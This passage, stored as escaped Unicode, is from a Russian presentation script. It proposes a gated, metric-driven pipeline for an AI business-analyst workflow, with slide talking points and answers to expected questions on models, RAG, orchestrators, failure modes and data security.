\u043c\u0435\u0442\u0440\u0438\u043a\u0430\u043c\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md):\\n  \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b, \u0434\u043e\u043b\u044f \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430, \u043f\u0440\u0430\u0432\u043a\u0438\\n  \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 \u043f\u043e\u0441\u043b\u0435 \u043c\u0430\u0448\u0438\u043d\u044b, \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0441\u043b\u0435\u0434\u0430, \u0434\u043e\u043b\u044f \u043f\u0443\u0441\u0442\u044b\u0445 \u0441\u043b\u043e\u0442\u043e\u0432 \u0441 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439.\\n- \u041f\u0440\u0430\u0432\u0438\u043b\u043e \u0447\u0435\u0441\u0442\u043d\u043e\u0441\u0442\u0438: \u0435\u0441\u043b\u0438 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0433\u0435\u0439\u0442 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043e\u0442\u043a\u043b\u043e\u043d\u044f\u0435\u0442, \u043e\u043d \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435\\n  \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442. \u041d\u0443\u043b\u0435\u0432\u043e\u0439 `M-2` \u2014 \u0441\u0438\u0433\u043d\u0430\u043b \u0442\u0440\u0435\u0432\u043e\u0433\u0438, \u0430 \u043d\u0435 \u0443\u0441\u043f\u0435\u0445.\\n- \u041e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u043d\u0435 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f: \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435, \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u043e\u0435 \u0432 \u0440\u0430\u0431\u043e\u0442\u0435,\\n  \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 Source \u0441 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u0438 \u0434\u043e\u0445\u043e\u0434\u0438\u0442 \u0434\u043e \u0432\u0441\u0435\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0447\u0435\u0440\u0435\u0437\\n  \u043f\u0435\u0440\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044e.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u041e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e \u043c\u044b \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0434\u0430\u043b\u044c\u0448\u0435\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 10. \u041e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4 \u2014 \u0442\u0440\u0438 \u0448\u0430\u0433\u0430, \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u043d \u0434\u043e \u0441\u0442\u0430\u0440\u0442\u0430\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 1,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0437\u0430\u043a\u043e\u043d\u0447\u0438\u0442\u044c \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c \u0438 \u0437\u0430\u0440\u0430\u043d\u0435\u0435\\n\u0437\u0430\u0434\u0430\u043d\u043d\u044b\u043c \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0435\u043c \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0428\u0430\u0433 1 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b. Runner \u043d\u0430 \u0410\u0420\u041c \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u0441\u0430\u043c\\n  \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u044b, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0432\u044b\u0445\u043e\u0434 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430 \u0438 \u0443\u043c\u0435\u0442\u044c \u0436\u0434\u0430\u0442\u044c \u043e\u0442\u0432\u0435\u0442\u0430\\n  \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430. \u0417\u0430\u0434\u0430\u0447\u0438 \u0443\u0436\u0435 \u0432\\n  [\u0431\u044d\u043a\u043b\u043e\u0433\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/backlog.md):\\n  B-211\u2026B-213.\\n- \u0428\u0430\u0433 2 \u2014 \u0437\u0430\u043c\u0435\u0440 \u043d\u0430 10 \u0437\u0430\u0434\u0430\u0447\u0430\u0445. \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u043f\u0438\u0441\u0430\u043d \u0434\u043e \u0441\u0442\u0430\u0440\u0442\u0430:\\n  \u043c\u0435\u043d\u044c\u0448\u0435 95% \u0448\u0430\u0433\u043e\u0432 \u0441 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u0443\u0437\u043b\u0430 \u0438\u043b\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u0442\u0440\u0430\u0442\u0438\u0442 \u043d\u0430\\n  \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u043e\u043b\u044c\u0448\u0435 \u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0435\u043c \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u2014 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 \u043f\u0435\u0440\u0435\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f.\\n- \u0428\u0430\u0433 3 \u2014 \u0421\u0440\u0435\u0434\u0430 4. \u0417\u0434\u0435\u0441\u044c \u043d\u0443\u0436\u043d\u044b \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0441 \u0432\u0430\u0448\u0435\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u044b: \u0432\u044b\u0437\u043e\u0432 Mango AI \u043f\u043e\\n  API \u0438\u0437 \u043a\u043e\u0434\u0430 \u0438 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0430 \u0434\u043b\u044f \u0441\u043b\u0443\u0436\u0431\u044b.\\n- \u0427\u0435\u0433\u043e \u043c\u044b \u043d\u0435 \u0434\u0435\u043b\u0430\u0435\u043c: \u043d\u0435 \u0441\u0442\u0440\u043e\u0438\u043c \u044f\u0434\u0440\u043e \u043d\u0430 low-code \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u0445 \u0438 \u043d\u0435 \u043e\u0442\u0434\u0430\u0451\u043c\\n  \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0430\u0433\u0435\u043d\u0442\u0443.\\n\\n**\u0417\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0435:** \u00ab\u041c\u044b \u043f\u0440\u043e\u0441\u0438\u043c \u043d\u0435 \u0431\u044e\u0434\u0436\u0435\u0442 \u043d\u0430 \u0418\u0418-\u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430, \u0430 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0443 \u0434\u043b\u044f\\n\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438\u0437\u043c\u0435\u0440\u0438\u043c\u043e\u0439 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b. \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439, \u043f\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043c\u044b \u043f\u0440\u0438\u0437\u043d\u0430\u0435\u043c \u0435\u0451\\n\u043e\u0448\u0438\u0431\u043e\u0447\u043d\u043e\u0439, \u0443\u0436\u0435 \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u00bb.\\n\\n---\\n\\n## \u041e\u0442\u0432\u0435\u0442\u044b \u043d\u0430 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u044b\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u044b\\n\\n### \u00ab\u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0435 \u0432\u0437\u044f\u0442\u044c \u043c\u043e\u0434\u0435\u043b\u044c \u043c\u043e\u0449\u043d\u0435\u0435?\u00bb\\n\\n\u041c\u043e\u0434\u0435\u043b\u044c \u043c\u0435\u043d\u044f\u0435\u0442 \u0447\u0430\u0441\u0442\u043e\u0442\u0443 \u043e\u0448\u0438\u0431\u043e\u043a, \u043d\u043e \u043d\u0435 \u0438\u0445 \u043a\u043b\u0430\u0441\u0441. \u0412\\n[A/B-\u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0438](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/report/2026-09-01-run-0065-vs-0066-ab-rca.md)\\n\u043d\u0430 \u043e\u0434\u043d\u0438\u0445 \u0438 \u0442\u0435\u0445 \u0436\u0435 65 \u0441\u0442\u0440\u043e\u043a\u0430\u0445 \u043e\u0434\u043d\u0430 \u043c\u043e\u0434\u0435\u043b\u044c \u0434\u0430\u043b\u0430 43.1% \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445\\n\u043d\u043e\u043c\u0435\u0440\u043e\u0432 \u0441\u0442\u0440\u0430\u043d\u0438\u0446, \u0434\u0440\u0443\u0433\u0430\u044f \u2014 0%. \u041d\u043e \u043a\u043e\u0440\u043d\u0435\u0432\u0430\u044f \u043f\u0440\u0438\u0447\u0438\u043d\u0430 \u0431\u044b\u043b\u0430 \u043d\u0435 \u0432 \u043c\u043e\u0434\u0435\u043b\u0438: \u043d\u043e\u043c\u0435\u0440\u0430\\n\u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0441\u044c \u0432 \u0440\u0443\u0447\u043d\u043e\u0439 \u0442\u0430\u0431\u043b\u0438\u0446\u0435, \u0430 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b \u0444\u043e\u0440\u043c\u0430\u0442 \u0441\u0441\u044b\u043b\u043a\u0438, \u0430 \u043d\u0435\\n\u0435\u0451 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435. \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442 \u0442\u043e\u0433\u043e,\\n\u043a\u0430\u043a\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c \u0441\u0442\u043e\u0438\u0442 \u0437\u0430 \u0448\u0430\u0433\u043e\u043c. \u0422\u043e\u0433\u0434\u0430 \u0441\u043c\u0435\u043d\u0430 \u043c\u043e\u0434\u0435\u043b\u0438 \u2014 \u0432\u043e\u043f\u0440\u043e\u0441 \u0446\u0435\u043d\u044b \u0438 \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u0438, \u0430\\n\u043d\u0435 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439.\\n\\n### \u00ab\u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0435 RAG \u0438\u043b\u0438 fine-tuning?\u00bb\\n\\nRAG \u0440\u0435\u0448\u0430\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0437\u043d\u0430\u043d\u0438\u044f\u043c, \u0438 \u043e\u043d \u0432 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0435 \u0435\u0441\u0442\u044c \u2014 \u044d\u0442\u043e \u0448\u0430\u0433 \u0441\u0432\u0435\u0440\u043a\u0438. \u041d\u043e \u0438\u0437\\n\u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0434\u0438\u043d \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438. \u0413\u0440\u0430\u043d\u0438\u0446\u044b\\n\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438 \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u2014 \u043d\u0435 \u043f\u0440\u043e\\n\u043f\u043e\u0438\u0441\u043a. \u0414\u043b\u044f fine-tuning \u043d\u0443\u0436\u0435\u043d \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0439 \u043d\u0430\u0431\u043e\u0440, \u0430 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 17\\n\u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430\u043c\u0438: \u0447\u0438\u0441\u0442\u044b\u0445 \u043e\u0431\u0440\u0430\u0437\u0446\u043e\u0432 \u043d\u0435\u0442, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u043e\u043b\u043e\u0442\u043e\u0439 \u043d\u0430\u0431\u043e\u0440 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u0441\u044f\\n\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442, \u043f\u043e\u0442\u043e\u043c \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u0435 \u043d\u0430 \u043d\u0451\u043c.\\n\\n### \u00ab\u0427\u0435\u043c \u044d\u0442\u043e \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442 LangGraph, n8n, Dify?\u00bb\\n\\n\u041c\u044b [\u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043b\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md).\\nDify, Flowise, Temporal \u0438 Camunda \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u044b \u043a\u0430\u043a \u044f\u0434\u0440\u043e. n8n \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c \u0442\u043e\u043b\u044c\u043a\u043e\\n\u043a\u0430\u043a \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430: \u0433\u0440\u0430\u0444 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c \u0431\u044b \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u044b\u0432\u0430\u0442\u044c, \u0443\u0437\u0435\u043b AI Agent\\n\u043d\u0435\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d, \u0430 \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0443 n8n \u0431\u044b\u043b\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\\nCVE-2026-21858 \u0441 CVSS 10.0. LangGraph \u043f\u043e\u0434 \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0435\u0439 MIT \u2014 \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442 \u043d\u0430 \u0431\u043e\u043b\u0435\u0435\\n\u043f\u043e\u0437\u0434\u043d\u0438\u0439 \u044d\u0442\u0430\u043f \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b, \u043d\u043e \u043d\u0435 \u0441\u0435\u0439\u0447\u0430\u0441: \u043d\u0430\u0448 \u0433\u0440\u0430\u0444 \u0438\u0437 15 \u0443\u0437\u043b\u043e\u0432 \u043f\u0440\u043e\u0449\u0435\\n\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0432 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u043c \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0435.\\n\\n### \u00ab\u041d\u0435 \u0441\u0442\u0430\u043d\u0435\u0442 \u043b\u0438 fail-closed \u0442\u043e\u0440\u043c\u043e\u0437\u043e\u043c \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430?\u00bb\\n\\n\u041e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u2014 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u0441\u043e\u0431\u044b\u0442\u0438\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430, \u0430 \u043d\u0435 \u0430\u0432\u0430\u0440\u0438\u044f: \u0448\u0430\u0433 \u0437\u0430\u0434\u0430\u0451\u0442 \u0432\u043e\u043f\u0440\u043e\u0441, \u0430\\n\u043d\u0435 \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u0435\u0442. \u0427\u0442\u043e\u0431\u044b \u044d\u0442\u043e \u043d\u0435 \u043f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u043b\u043e\u0441\u044c \u0432 \u0431\u044e\u0440\u043e\u043a\u0440\u0430\u0442\u0438\u044e, \u0432 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439\\n\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u043f\u0440\u044f\u043c\u043e \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u043e: \u0435\u0441\u043b\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u0442\u0440\u0430\u0442\u0438\u0442 \u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u043e\u043b\u044c\u0448\u0435\\n\u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0435\u043c \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435, \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f. \u041f\u0443\u0441\u0442\u044b\u0435 \u0441\u043b\u043e\u0442\u044b \u0441\\n\u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u0438\u0437\u043c\u0435\u0440\u044f\u044e\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u043c\u0435\u0442\u0440\u0438\u043a\u043e\u0439 `M-5`.\\n\\n### \u00ab\u041a\u0430\u043a \u0432\u044b \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442\u0435 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e, \u0435\u0441\u043b\u0438 evals \u043d\u0435 \u0431\u044b\u043b\u043e?\u00bb\\n\\n\u0411\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u0441\u043d\u044f\u0442\u0430 \u0434\u043e \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f: `M-1 = 0.0` \u0438 6% \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0431\u0435\u0437\\n\u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u0438. \u041c\u0435\u0442\u0440\u0438\u043a\u0438 `M-1`\u2026`M-5` \u0438\u0437\u043c\u0435\u0440\u044f\u044e\u0442 \u043f\u0440\u043e\u0433\u043e\u043d \u043f\u0430\u043a\u0435\u0442\u0430. \u041f\u043e\u0440\u043e\u0433\\n\u0443\u0441\u043f\u0435\u0445\u0430 \u0441\u0440\u0435\u0437\u0430 \u0437\u0430\u0434\u0430\u043d \u0437\u0430\u0440\u0430\u043d\u0435\u0435: \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0441\u043b\u0435\u0434\u0430 100% \u0438 \u0437\u0430\u043c\u0435\u0442\u043d\u044b\u0439 \u0440\u043e\u0441\u0442 `M-1` \u043f\u0440\u0438\\n\u043d\u0435\u043d\u0443\u043b\u0435\u0432\u043e\u0439 \u0434\u043e\u043b\u0435 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0445 \u043e\u0442\u043a\u0430\u0437\u043e\u0432.\\n\\n### \u00ab\u041d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043c\u043e\u0436\u043d\u043e \u0432\u0435\u0440\u0438\u0442\u044c \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0435 69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432?\u00bb\\n\\n\u041c\u0435\u0442\u0440\u0438\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0441\u0430\u043c\u0438, \u2014 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u0438\u0432\u043d\u044b: \u0444\u043e\u0440\u043c\u0430\u0442\u044b \u0440\u0430\u0437\u043d\u044b\u0435, \u0432\\n\u043e\u0434\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0442\u043e\u043a\u0435\u043d\u044b, \u043f\u043e\u0445\u043e\u0436\u0435, \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0438\u0437 \u0434\u0440\u0443\u0433\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443\\n\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u0435 \u043d\u0430 \u0441\u0430\u043c\u043e\u043e\u0446\u0435\u043d\u043a\u0443, \u0430 \u043d\u0430 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b: \u0432\u0445\u043e\u0434\u044b,\\n\u0432\u044b\u0445\u043e\u0434\u044b, \u0434\u0438\u0430\u043b\u043e\u0433\u0438 \u0438 \u043f\u0440\u0430\u0432\u043a\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430. \u0413\u0434\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u043d\u0435\u0442, \u044d\u0442\u043e \u043f\u043e\u043c\u0435\u0447\u0435\u043d\u043e \u043a\u0430\u043a \u043f\u0440\u043e\u0431\u0435\u043b.\\n\\n### \u00ab\u0427\u0442\u043e \u0441 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e \u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438?\u00bb\\n\\n\u041c\u043e\u0434\u0435\u043b\u044c \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432 \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0435: Mango AI \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u043e \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u043c\u0443 API.\\n\u041a\u043b\u044e\u0447\u0438 \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u044e\u0442 \u0432 Git, \u0447\u0430\u0442 \u0438\u043b\u0438 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u044b. \u0411\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u044b\\n\u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0438\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f. \u0414\u043e\u0441\u0442\u0443\u043f \u043a Jira \u0438 Confluence \u0447\u0435\u0440\u0435\u0437 MCP\\n\u0432\u044b\u0434\u0430\u0451\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e, \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u044f. \u0410\u0433\u0435\u043d\u0442\u0443 \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e\\n\u043c\u0435\u043d\u044f\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b, \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u044b \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0432\u043d\u0443\u0442\u0440\u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u0430.\\n\\n### \u00ab\u041d\u0435 \u0441\u0442\u0430\u043d\u0435\u0442 \u043b\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u043d\u0430 \u0433\u0435\u0439\u0442\u0435 \u0443\u0437\u043a\u0438\u043c \u043c\u0435\u0441\u0442\u043e\u043c?\u00bb\\n\\n\u0427\u0435\u043b\u043e\u0432\u0435\u043a \u0440\u0435\u0448\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u043e, \u0447\u0442\u043e \u043c\u0430\u0448\u0438\u043d\u0430 \u0440\u0435\u0448\u0438\u0442\u044c \u043d\u0435 \u043c\u043e\u0436\u0435\u0442: \u0441\u043c\u044b\u0441\u043b, \u0441\u043f\u043e\u0440\u043d\u044b\u0439 \u0432\u044b\u0431\u043e\u0440,\\n\u043f\u0440\u0438\u0451\u043c\u043a\u0443. \u041c\u0435\u0442\u0440\u0438\u043a\u0430 `M-3` \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0430\u0432\u043e\u043a \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u0432\u043d\u043e\u0441\u0438\u0442 \u043f\u043e\u0441\u043b\u0435\\n\u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430. \u0415\u0441\u043b\u0438 \u043e\u043d\u0430 \u043d\u0435 \u043f\u0430\u0434\u0430\u0435\u0442, \u0437\u043d\u0430\u0447\u0438\u0442, \u043c\u0430\u0448\u0438\u043d\u0430 